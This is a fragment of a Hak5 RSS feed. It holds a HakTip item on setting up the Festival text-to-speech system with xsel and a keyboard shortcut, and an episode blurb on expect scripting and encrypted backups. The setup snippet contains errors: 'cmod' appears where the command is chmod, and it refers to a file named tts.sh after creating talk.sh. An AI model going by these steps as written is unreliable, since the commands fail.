<p><a class="mov" href="http://videos.revision3.com/revision3/web/hak5/haktip/0051/hak5--haktip--0051--festival--hd720p30.h264.mp4">Download HD</a> <a class="mov" href="http://videos.revision3.com/revision3/web/hak5/haktip/0051/hak5--haktip--0051--festival--large.h264.mp4">Download MP4</a><br />
<span id="more-4666"></span> </p>
<div align="center"><iframe width="640" height="360" src="http://www.youtube-nocookie.com/embed/videoseries?v=4uKTamXonPs&#038;hl=en_US&#038;hd=1&#038;fs=1&#038;hd=1&#038;autohide=1&#038;showinfo=0&#038;rel=0&#038;showsearch=0&#038;wmode=Opaque" frameborder="0" allowfullscreen></iframe></div>
Festival is a multi-lingual speech synthesis system. It was originally developed by Alan Black at the Centre for Speech Technology Research at the University of Edinburgh and additional contributions have been made by Garnegie Mellon University.</p>
<p>It sports a text to speech API, among others, and a command interface for extensions. The system supports English (both Brithsh and American) as well as Welsh and Spanish. You can also find packages for Finnish, Polish and Russian to name a few. And if that wasn't enough the whole lot of it is published under the BSD license - meaning it's free and open source.</p>
<p>To get started we'll need a few packages: Obviously first we'll need festival and xsel.</p>
<blockquote><p>
cat << eof > talk.sh<br />
#!/bin/bash<br />
xsel | festival --tts --pipe<br />
eof<br />
cmod +x ~/tts.sh
</p></blockquote>
<p>Next bind mod4+z to ~/talk.sh. From Ubuntu key bindings are found under System, Preferences, Keyboard Shortcuts</p>
<p> If you run into the error Linux: can't open /dev/dsp</p>
<blockquote><p>
echo "<br />
(Parameter.set 'Audio_Command "aplay -q -c 1 -t raw -f s16 -r $SR $FILE")<br />
(Parameter.set 'Audio_Method 'Audio_Command)<br />
" >> ~/.festivalrc
</p></blockquote>
<p>The speech rate can be configured in /usr/share/festival/voices/english/kal_diphone/festvox/kal_diphone.scm<br />
under the setting "Parameter.set 'Duration_Stretch" -- the lower the value the faster the speech rate.
]]></content:encoded>
			<wfw:commentRss>http://Hak5.org/episodes/haktip-51/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Hak5 1025 &#8211; Hak5 at Shmoocon 2012!</title>
		<link>http://Hak5.org/episodes/hak5-1025-2</link>
		<comments>http://Hak5.org/episodes/hak5-1025-2#comments</comments>
		<pubDate>Thu, 09 Feb 2012 20:40:22 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[Episodes]]></category>
		<category><![CDATA[Season 10]]></category>
		<category><![CDATA[encryption]]></category>
		<category><![CDATA[expect]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[scripts]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://Hak5.org/?p=4536</guid>
		<description><![CDATA[<iframe width="640" height="360" src="http://www.youtube-nocookie.com/embed/videoseries?list=PLA5B5492A5890CA51&#038;hl=en_US&#038;hd=1&#038;fs=1&#038;hd=1&#038;autohide=1&#038;showinfo=0&#038;rel=0&#038;showsearch=0&#038;wmode=Opaque" frameborder="0" allowfullscreen></iframe>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2FHak5.org%2Fepisodes%2Fhak5-1025-2"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2FHak5.org%2Fepisodes%2Fhak5-1025-2&amp;source=Hak5&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
This time on the show we're automating everything! Darren shows off intelligent scripting with expect for Linux. Then I'll be encrypting folders from a context menu in Gnome, pairing 'em with some cloud services and boom, you've got secure backups. Plus, multi-core GCC compiling, directory size scripting and can USB drives be trusted? All that and more this time on Hak5!
<div style="clear:both;"></div>
<p><a class="mov" href="http://videos.revision3.com/revision3/web/hak5/1065/hak5--1065--expectencryption--hd720p30.h264.mp4">Download HD</a> <a class="mov" href="http://videos.revision3.com/revision3/web/hak5/1065/hak5--1065--expectencryption--large.h264.mp4">Download MP4</a><br />
<span id="more-4536"></span> </p>
<div align="center"><iframe width="640" height="360" src="http://www.youtube-nocookie.com/embed/videoseries?list=PLA5B5492A5890CA51&#038;hl=en_US&#038;hd=1&#038;fs=1&#038;hd=1&#038;autohide=1&#038;showinfo=0&#038;rel=0&#038;showsearch=0&amp;wmode=Opaque" frameborder="0" allowfullscreen></iframe></div>
This time on the show we're automating everything! Darren shows off intelligent scripting with expect for Linux. Then I'll be encrypting folders from a context menu in Gnome, pairing 'em with some cloud services and boom, you've got secure backups. Plus, multi-core GCC compiling, directory size scripting and can USB drives be trusted? All that and more this time on Hak5!</p>
<p>If you're into Hak5 you'll love our new show by hosts Darren Kitchen and Shannon Morse. Check out <a href="http://www.revision3.com/haktip">HakTip</a>!</p>
<p>Whether you're a beginner or a pro, <a href="http://www.revision3.com/haktip">HakTip</a> is essential viewing for current and aspiring hackers, computer enthusiasts, and IT professionals. With a how-to approach to all things Information Technology, HakTip breaks down the core concepts, tools, and techniques of Linux, Wireless Networks, Systems Administration, and more</p>
<p>And let's not forget to mention that you can follow us on <a href="http://www.twitter.com/hak5/" target="_blank">Twitter</a> and <a href="http://www.facebook.com/technolust/" target="_blank">Facebook</a>, <a href="http://revision3.com/hak5/subscribe" target="_blank">Subscribe</a> to the show and get all your Hak5 goodies, including the infamous <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple" target="_blank">WiFi Pineapple</a> over at <a href="http://hakshop.com/" target="_blank">HakShop.com</a>. If you have any questions or suggestions please feel free to contact us at <a href="mailto:feedback@hak5.org">feedback@hak5.org</a>.
]]></content:encoded>
			<wfw:commentRss>http://Hak5.org/episodes/hak5-1025-2/feed</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
	</channel>
</rss>
<!-- This Quick Cache file was built for (  hak5.org/tag/linux/feed ) in 1.27916 seconds, on May 23rd, 2012 at 9:49 pm UTC. -->
<!-- This Quick Cache file will automatically expire ( and be re-built automatically ) on May 23rd, 2012 at 10:49 pm UTC -->
